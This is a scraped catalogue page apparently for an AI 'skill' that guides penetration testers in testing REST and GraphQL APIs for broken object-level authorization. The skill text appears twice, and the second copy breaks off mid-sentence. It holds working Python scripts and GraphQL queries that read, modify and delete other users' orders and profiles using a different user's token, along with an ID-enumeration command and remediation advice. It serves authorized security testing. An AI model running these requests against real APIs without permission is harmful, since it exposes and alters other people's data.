[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGA5YQ1V0VY2P0XXWFPMFC":3,"skill-same:01M6AGA5YQ1V0VY2P0XXWFPMFC":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AGA5YQ1V0VY2P0XXWFPMFC","testing-api-for-broken-object-level-authorization","API 对象级授权漏洞测试","Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.","通过拦截 API 调用、识别对象 ID 参数（数字 ID、UUID、slug），并系统性地替换为属于其他用户的 ID，以检查服务器是否强制执行逐对象授权，从而测试 REST 和 GraphQL API 的失效对象级授权（BOLA\u002FIDOR，OWASP API1:2023）。适用于测试 API 中的 BOLA 或 IDOR、验证对象级授权，或评估 API 是否存在访问控制绕过。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-for-broken-object-level-authorization\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"testing api for broken object level authorization","api","authorization","testing","GraphQL","rest-security","t1059","idor","bola","ids","REST","owasp","api-security","server","pr","test","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-api-for-broken-object-level-authorization\ndescription: 'Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR,\n  OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric\n  IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users\n  to check whether the server enforces per-object authorization. Use when asked to\n  test BOLA or IDOR in an API, verify object-level authorization, or assess an API\n  for access control bypass.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- bola\n- idor\n- authorization\n- rest-security\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1070\n---\n# Testing API for Broken Object Level Authorization\n\n## When to Use\n\n- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies\n- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested\n- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data\n- Validating that API endpoints enforce per-object authorization checks beyond just authentication\n- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently\n\n**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.\n\n## Prerequisites\n\n- Written authorization specifying the target API endpoints and scope of testing\n- At least two test accounts with different privilege levels and distinct data sets\n- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy\n- Authentication tokens (JWT, session cookies, API keys) for each test account\n- API documentation (OpenAPI\u002FSwagger spec) or access to enumerate endpoints\n- Python 3.10+ with `requests` library for scripted testing\n- Autorize Burp extension installed for automated BOLA detection\n\n## Workflow\n\n### Step 1: API Endpoint Discovery and Object ID Mapping\n\nEnumerate all API endpoints and identify parameters that reference objects:\n\n**From OpenAPI\u002FSwagger Specification:**\n```bash\n# Download and parse the OpenAPI spec\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | python3 -m json.tool\n\n# Extract all endpoints with path parameters\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | \\\n  python3 -c \"\nimport json, sys\nspec = json.load(sys.stdin)\nfor path, methods in spec.get('paths', {}).items():\n    for method, details in methods.items():\n        if method in ('get','post','put','patch','delete'):\n            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]\n            if params:\n                print(f'{method.upper()} {path} -> params: {params}')\n\"\n```\n\n**From Burp Suite Traffic:**\n1. Browse the application as User A, exercising all features that involve data creation and retrieval\n2. In Burp, go to Target > Site Map and filter for API paths (e.g., `\u002Fapi\u002Fv1\u002F`, `\u002Fgraphql`)\n3. Look for patterns: `\u002Fapi\u002Fv1\u002Fusers\u002F{id}`, `\u002Fapi\u002Fv1\u002Forders\u002F{order_id}`, `\u002Fapi\u002Fv1\u002Fdocuments\u002F{doc_uuid}`\n4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values\n\n**Classify Object ID Types:**\n\n| ID Type | Example | Predictability | BOLA Risk |\n|---------|---------|---------------|-----------|\n| Sequential Integer | `\u002Forders\u002F1042` | High - increment\u002Fdecrement | Critical |\n| UUID v4 | `\u002Forders\u002F550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |\n| Encoded\u002FHashed | `\u002Forders\u002Fbase64encodedvalue` | Medium - decode and predict | High |\n| Composite | `\u002Fusers\u002F42\u002Forders\u002F1042` | High - multiple IDs to swap | Critical |\n| Slug | `\u002Fprofiles\u002Fjohn-doe` | Medium - guess usernames | High |\n\n### Step 2: Baseline Request Capture with Authenticated User\n\nCapture legitimate requests for User A and User B:\n\n```python\nimport requests\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# User A credentials\nuser_a_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_a_headers = {\"Authorization\": user_a_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# User B credentials\nuser_b_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_b_headers = {\"Authorization\": user_b_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# Step 1: Identify User A's objects\nuser_a_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_a_headers)\nuser_a_id = user_a_profile.json()[\"id\"]  # e.g., 1001\n\nuser_a_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_a_id}\u002Forders\", headers=user_a_headers)\nuser_a_order_ids = [o[\"id\"] for o in user_a_orders.json()[\"orders\"]]  # e.g., [5001, 5002]\n\n# Step 2: Identify User B's objects\nuser_b_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_b_headers)\nuser_b_id = user_b_profile.json()[\"id\"]  # e.g., 1002\n\nuser_b_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\", headers=user_b_headers)\nuser_b_order_ids = [o[\"id\"] for o in user_b_orders.json()[\"orders\"]]  # e.g., [5003, 5004]\n\nprint(f\"User A (ID: {user_a_id}): Orders {user_a_order_ids}\")\nprint(f\"User B (ID: {user_b_id}): Orders {user_b_order_ids}\")\n```\n\n### Step 3: BOLA Testing - Horizontal Privilege Escalation\n\nAttempt to access User B's objects using User A's authentication:\n\n```python\nimport json\n\nresults = []\n\n# Test 1: Access User B's profile with User A's token\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Access other user profile\",\n    \"endpoint\": f\"GET \u002Fusers\u002F{user_b_id}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code == 200,\n    \"data_leaked\": list(resp.json().keys()) if resp.status_code == 200 else None\n})\n\n# Test 2: Access User B's orders with User A's token\nfor order_id in user_b_order_ids:\n    resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{order_id}\", headers=user_a_headers)\n    results.append({\n        \"test\": f\"Access other user order {order_id}\",\n        \"endpoint\": f\"GET \u002Forders\u002F{order_id}\",\n        \"auth\": \"User A\",\n        \"status\": resp.status_code,\n        \"vulnerable\": resp.status_code == 200\n    })\n\n# Test 3: Modify User B's order with User A's token\nresp = requests.patch(\n    f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\",\n    headers=user_a_headers,\n    json={\"status\": \"cancelled\"}\n)\nresults.append({\n    \"test\": \"Modify other user order\",\n    \"endpoint\": f\"PATCH \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Test 4: Delete User B's resource with User A's token\nresp = requests.delete(f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Delete other user order\",\n    \"endpoint\": f\"DELETE \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Print results\nfor r in results:\n    status = \"VULNERABLE\" if r[\"vulnerable\"] else \"SECURE\"\n    print(f\"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}\")\n```\n\n### Step 4: Advanced BOLA Techniques\n\nTest for less obvious BOLA patterns:\n\n```python\n# Technique 1: Parameter pollution - send both IDs\nresp = requests.get(\n    f\"{BASE_URL}\u002Forders\u002F{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}\",\n    headers=user_a_headers\n)\nprint(f\"Parameter pollution: {resp.status_code}\")\n\n# Technique 2: JSON body object ID override\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fdetails\",\n    headers=user_a_headers,\n    json={\"order_id\": user_b_order_ids[0]}\n)\nprint(f\"Body ID override: {resp.status_code}\")\n\n# Technique 3: Array of IDs - include other user's IDs in batch request\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fbatch\",\n    headers=user_a_headers,\n    json={\"order_ids\": user_a_order_ids + user_b_order_ids}\n)\nprint(f\"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders\")\n\n# Technique 4: Numeric ID manipulation for sequential IDs\nfor offset in range(-5, 6):\n    test_id = user_a_order_ids[0] + offset\n    if test_id not in user_a_order_ids:\n        resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{test_id}\", headers=user_a_headers)\n        if resp.status_code == 200:\n            owner = resp.json().get(\"user_id\", \"unknown\")\n            if str(owner) != str(user_a_id):\n                print(f\"BOLA: Order {test_id} belongs to user {owner}, accessible by User A\")\n\n# Technique 5: Swap object ID in nested resource paths\nresp = requests.get(\n    f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\u002F{user_b_order_ids[0]}\u002Finvoice\",\n    headers=user_a_headers\n)\nprint(f\"Nested resource BOLA: {resp.status_code}\")\n\n# Technique 6: Method switching - GET may be blocked but PUT allowed\nfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:\n    resp = requests.request(\n        method,\n        f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Fsettings\",\n        headers=user_a_headers,\n        json={\"notifications\": False} if method in ('PUT', 'PATCH') else None\n    )\n    if resp.status_code not in (401, 403, 405):\n        print(f\"Method {method} on other user settings: {resp.status_code}\")\n```\n\n### Step 5: Automated BOLA Detection with Autorize (Burp Suite)\n\nConfigure Autorize for automated detection:\n\n1. Install Autorize from the BApp Store in Burp Suite Professional\n2. In the Autorize tab, paste User B's authentication cookie or header\n3. Configure the interception filters:\n   - Include: `.*\\\u002Fapi\\\u002F.*` (only API paths)\n   - Exclude: `.*\\.(js|css|png|jpg)$` (skip static assets)\n4. Set the enforcement detector:\n   - Add conditions where response length or status code differs between User A and User B\n   - Mark as \"enforced\" if User A gets 403\u002F401 for User B's resources\n   - Mark as \"bypassed\" if User A gets 200 with User B's data\n5. Browse the application as User A; Autorize automatically replays each request with User B's token\n6. Review the Autorize results table:\n   - Green = Authorization enforced (secure)\n   - Red = Authorization bypassed (BOLA vulnerability)\n   - Orange = Needs manual review (ambiguous response)\n\n### Step 6: GraphQL BOLA Testing\n\n```graphql\n# Test BOLA in GraphQL queries using node\u002FID relay pattern\n# User A queries User B's order by global relay ID\nquery {\n  node(id: \"T3JkZXI6NTAwMw==\") {  # Base64 of \"Order:5003\" (User B's)\n    ... on Order {\n      id\n      totalAmount\n      shippingAddress {\n        street\n        city\n      }\n      items {\n        productName\n        quantity\n      }\n    }\n  }\n}\n\n# Test nested object access through relationships\nquery {\n  user(id: \"1002\") {  # User B's ID\n    email\n    phoneNumber\n    orders {\n      edges {\n        node {\n          id\n          totalAmount\n          paymentMethod {\n            lastFourDigits\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |\n| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |\n| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |\n| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |\n| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |\n| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing\n- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing\n- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts\n- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections\n- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https:\u002F\u002Fapi.example.com\u002Forders\u002FFUZZ -w ids.txt -H \"Authorization: Bearer token\"`\n\n## Common Scenarios\n\n### Scenario: E-Commerce API BOLA Assessment\n\n**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).\n\n**Approach**:\n1. Map all endpoints from the Swagger spec at `\u002Fapi\u002Fdocs`: identify 47 endpoints, 23 of which take object IDs\n2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist\n3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints\n4. Find that `GET \u002Fapi\u002Fv1\u002Forders\u002F{id}` returns any order regardless of ownership (BOLA on read)\n5. Find that `PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}` allows modifying any user's address (BOLA on write)\n6. Find that `GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods` leaks payment card last-four digits for any user\n7. Test batch endpoint `POST \u002Fapi\u002Fv1\u002Forders\u002Fexport` - accepts array of order IDs and exports all without ownership check\n8. Verify that `DELETE \u002Fapi\u002Fv1\u002Forders\u002F{id}` correctly returns 403 for non-owned orders (authorization enforced)\n\n**Pitfalls**:\n- Only testing GET requests and missing BOLA in PUT\u002FPATCH\u002FDELETE methods that allow data modification or destruction\n- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters\n- Not testing nested resource paths where authorization may be checked on the parent but not the child resource\n- Missing BOLA in bulk\u002Fbatch endpoints that accept arrays of object IDs\n- Not considering that different API versions (v1 vs v2) may have different authorization implementations\n\n## Output Format\n\n```\n## Finding: Broken Object Level Authorization in Order API\n\n**ID**: API-BOLA-001\n**Severity**: High (CVSS 7.5)\n**OWASP API**: API1:2023 - Broken Object Level Authorization\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Forders\u002F{id}\n  - PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}\n  - GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods\n  - POST \u002Fapi\u002Fv1\u002Forders\u002Fexport\n\n**Description**:\nThe API does not enforce object-level authorization on order retrieval,\naddress modification, payment method viewing, or order export endpoints.\nAn authenticated user can access or modify any other user's resources by\nsubstituting object IDs in the request. Sequential integer IDs make\nenumeration trivial.\n\n**Proof of Concept**:\n1. Authenticate as User A (ID 1001): POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n2. Retrieve User A's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5001 -> 200 OK (legitimate)\n3. Access User B's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5003 -> 200 OK (BOLA - returns full order details)\n4. Modify User B's address: PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F2002 -> 200 OK (BOLA - address changed)\n\n**Impact**:\n- Read access to all 850,000+ customer orders including shipping addresses and order contents\n- Write access to any customer's delivery address, enabling package redirection\n- Exposure of partial payment card data for all customers\n\n**Remediation**:\n1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource\n2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`\n3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)\n4. Add authorization tests to the CI\u002FCD pipeline for every endpoint that accepts object IDs\n5. Implement rate limiting per user to slow enumeration attempts\n```\n","# Testing API for Broken Object Level Authorization\n\n## When to Use\n\n- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies\n- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested\n- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data\n- Validating that API endpoints enforce per-object authorization checks beyond just authentication\n- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently\n\n**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.\n\n## Prerequisites\n\n- Written authorization specifying the target API endpoints and scope of testing\n- At least two test accounts with different privilege levels and distinct data sets\n- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy\n- Authentication tokens (JWT, session cookies, API keys) for each test account\n- API documentation (OpenAPI\u002FSwagger spec) or access to enumerate endpoints\n- Python 3.10+ with `requests` library for scripted testing\n- Autorize Burp extension installed for automated BOLA detection\n\n## Workflow\n\n### Step 1: API Endpoint Discovery and Object ID Mapping\n\nEnumerate all API endpoints and identify parameters that reference objects:\n\n**From OpenAPI\u002FSwagger Specification:**\n```bash\n# Download and parse the OpenAPI spec\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | python3 -m json.tool\n\n# Extract all endpoints with path parameters\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | \\\n  python3 -c \"\nimport json, sys\nspec = json.load(sys.stdin)\nfor path, methods in spec.get('paths', {}).items():\n    for method, details in methods.items():\n        if method in ('get','post','put','patch','delete'):\n            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]\n            if params:\n                print(f'{method.upper()} {path} -> params: {params}')\n\"\n```\n\n**From Burp Suite Traffic:**\n1. Browse the application as User A, exercising all features that involve data creation and retrieval\n2. In Burp, go to Target > Site Map and filter for API paths (e.g., `\u002Fapi\u002Fv1\u002F`, `\u002Fgraphql`)\n3. Look for patterns: `\u002Fapi\u002Fv1\u002Fusers\u002F{id}`, `\u002Fapi\u002Fv1\u002Forders\u002F{order_id}`, `\u002Fapi\u002Fv1\u002Fdocuments\u002F{doc_uuid}`\n4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values\n\n**Classify Object ID Types:**\n\n| ID Type | Example | Predictability | BOLA Risk |\n|---------|---------|---------------|-----------|\n| Sequential Integer | `\u002Forders\u002F1042` | High - increment\u002Fdecrement | Critical |\n| UUID v4 | `\u002Forders\u002F550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |\n| Encoded\u002FHashed | `\u002Forders\u002Fbase64encodedvalue` | Medium - decode and predict | High |\n| Composite | `\u002Fusers\u002F42\u002Forders\u002F1042` | High - multiple IDs to swap | Critical |\n| Slug | `\u002Fprofiles\u002Fjohn-doe` | Medium - guess usernames | High |\n\n### Step 2: Baseline Request Capture with Authenticated User\n\nCapture legitimate requests for User A and User B:\n\n```python\nimport requests\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# User A credentials\nuser_a_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_a_headers = {\"Authorization\": user_a_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# User B credentials\nuser_b_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_b_headers = {\"Authorization\": user_b_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# Step 1: Identify User A's objects\nuser_a_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_a_headers)\nuser_a_id = user_a_profile.json()[\"id\"]  # e.g., 1001\n\nuser_a_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_a_id}\u002Forders\", headers=user_a_headers)\nuser_a_order_ids = [o[\"id\"] for o in user_a_orders.json()[\"orders\"]]  # e.g., [5001, 5002]\n\n# Step 2: Identify User B's objects\nuser_b_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_b_headers)\nuser_b_id = user_b_profile.json()[\"id\"]  # e.g., 1002\n\nuser_b_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\", headers=user_b_headers)\nuser_b_order_ids = [o[\"id\"] for o in user_b_orders.json()[\"orders\"]]  # e.g., [5003, 5004]\n\nprint(f\"User A (ID: {user_a_id}): Orders {user_a_order_ids}\")\nprint(f\"User B (ID: {user_b_id}): Orders {user_b_order_ids}\")\n```\n\n### Step 3: BOLA Testing - Horizontal Privilege Escalation\n\nAttempt to access User B's objects using User A's authentication:\n\n```python\nimport json\n\nresults = []\n\n# Test 1: Access User B's profile with User A's token\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Access other user profile\",\n    \"endpoint\": f\"GET \u002Fusers\u002F{user_b_id}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code == 200,\n    \"data_leaked\": list(resp.json().keys()) if resp.status_code == 200 else None\n})\n\n# Test 2: Access User B's orders with User A's token\nfor order_id in user_b_order_ids:\n    resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{order_id}\", headers=user_a_headers)\n    results.append({\n        \"test\": f\"Access other user order {order_id}\",\n        \"endpoint\": f\"GET \u002Forders\u002F{order_id}\",\n        \"auth\": \"User A\",\n        \"status\": resp.status_code,\n        \"vulnerable\": resp.status_code == 200\n    })\n\n# Test 3: Modify User B's order with User A's token\nresp = requests.patch(\n    f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\",\n    headers=user_a_headers,\n    json={\"status\": \"cancelled\"}\n)\nresults.append({\n    \"test\": \"Modify other user order\",\n    \"endpoint\": f\"PATCH \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Test 4: Delete User B's resource with User A's token\nresp = requests.delete(f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Delete other user order\",\n    \"endpoint\": f\"DELETE \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Print results\nfor r in results:\n    status = \"VULNERABLE\" if r[\"vulnerable\"] else \"SECURE\"\n    print(f\"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}\")\n```\n\n### Step 4: Advanced BOLA Techniques\n\nTest for less obvious BOLA patterns:\n\n```python\n# Technique 1: Parameter pollution - send both IDs\nresp = requests.get(\n    f\"{BASE_URL}\u002Forders\u002F{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}\",\n    headers=user_a_headers\n)\nprint(f\"Parameter pollution: {resp.status_code}\")\n\n# Technique 2: JSON body object ID override\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fdetails\",\n    headers=user_a_headers,\n    json={\"order_id\": user_b_order_ids[0]}\n)\nprint(f\"Body ID override: {resp.status_code}\")\n\n# Technique 3: Array of IDs - include other user's IDs in batch request\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fbatch\",\n    headers=user_a_headers,\n    json={\"order_ids\": user_a_order_ids + user_b_order_ids}\n)\nprint(f\"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders\")\n\n# Technique 4: Numeric ID manipulation for sequential IDs\nfor offset in range(-5, 6):\n    test_id = user_a_order_ids[0] + offset\n    if test_id not in user_a_order_ids:\n        resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{test_id}\", headers=user_a_headers)\n        if resp.status_code == 200:\n            owner = resp.json().get(\"user_id\", \"unknown\")\n            if str(owner) != str(user_a_id):\n                print(f\"BOLA: Order {test_id} belongs to user {owner}, accessible by User A\")\n\n# Technique 5: Swap object ID in nested resource paths\nresp = requests.get(\n    f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\u002F{user_b_order_ids[0]}\u002Finvoice\",\n    headers=user_a_headers\n)\nprint(f\"Nested resource BOLA: {resp.status_code}\")\n\n# Technique 6: Method switching - GET may be blocked but PUT allowed\nfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:\n    resp = requests.request(\n        method,\n        f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Fsettings\",\n        headers=user_a_headers,\n        json={\"notifications\": False} if method in ('PUT', 'PATCH') else None\n    )\n    if resp.status_code not in (401, 403, 405):\n        print(f\"Method {method} on other user settings: {resp.status_code}\")\n```\n\n### Step 5: Automated BOLA Detection with Autorize (Burp Suite)\n\nConfigure Autorize for automated detection:\n\n1. Install Autorize from the BApp Store in Burp Suite Professional\n2. In the Autorize tab, paste User B's authentication cookie or header\n3. Configure the interception filters:\n   - Include: `.*\\\u002Fapi\\\u002F.*` (only API paths)\n   - Exclude: `.*\\.(js|css|png|jpg)$` (skip static assets)\n4. Set the enforcement detector:\n   - Add conditions where response length or status code differs between User A and User B\n   - Mark as \"enforced\" if User A gets 403\u002F401 for User B's resources\n   - Mark as \"bypassed\" if User A gets 200 with User B's data\n5. Browse the application as User A; Autorize automatically replays each request with User B's token\n6. Review the Autorize results table:\n   - Green = Authorization enforced (secure)\n   - Red = Authorization bypassed (BOLA vulnerability)\n   - Orange = Needs manual review (ambiguous response)\n\n### Step 6: GraphQL BOLA Testing\n\n```graphql\n# Test BOLA in GraphQL queries using node\u002FID relay pattern\n# User A queries User B's order by global relay ID\nquery {\n  node(id: \"T3JkZXI6NTAwMw==\") {  # Base64 of \"Order:5003\" (User B's)\n    ... on Order {\n      id\n      totalAmount\n      shippingAddress {\n        street\n        city\n      }\n      items {\n        productName\n        quantity\n      }\n    }\n  }\n}\n\n# Test nested object access through relationships\nquery {\n  user(id: \"1002\") {  # User B's ID\n    email\n    phoneNumber\n    orders {\n      edges {\n        node {\n          id\n          totalAmount\n          paymentMethod {\n            lastFourDigits\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |\n| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |\n| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |\n| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |\n| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |\n| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing\n- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing\n- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts\n- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections\n- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https:\u002F\u002Fapi.example.com\u002Forders\u002FFUZZ -w ids.txt -H \"Authorization: Bearer token\"`\n\n## Common Scenarios\n\n### Scenario: E-Commerce API BOLA Assessment\n\n**Context**: An 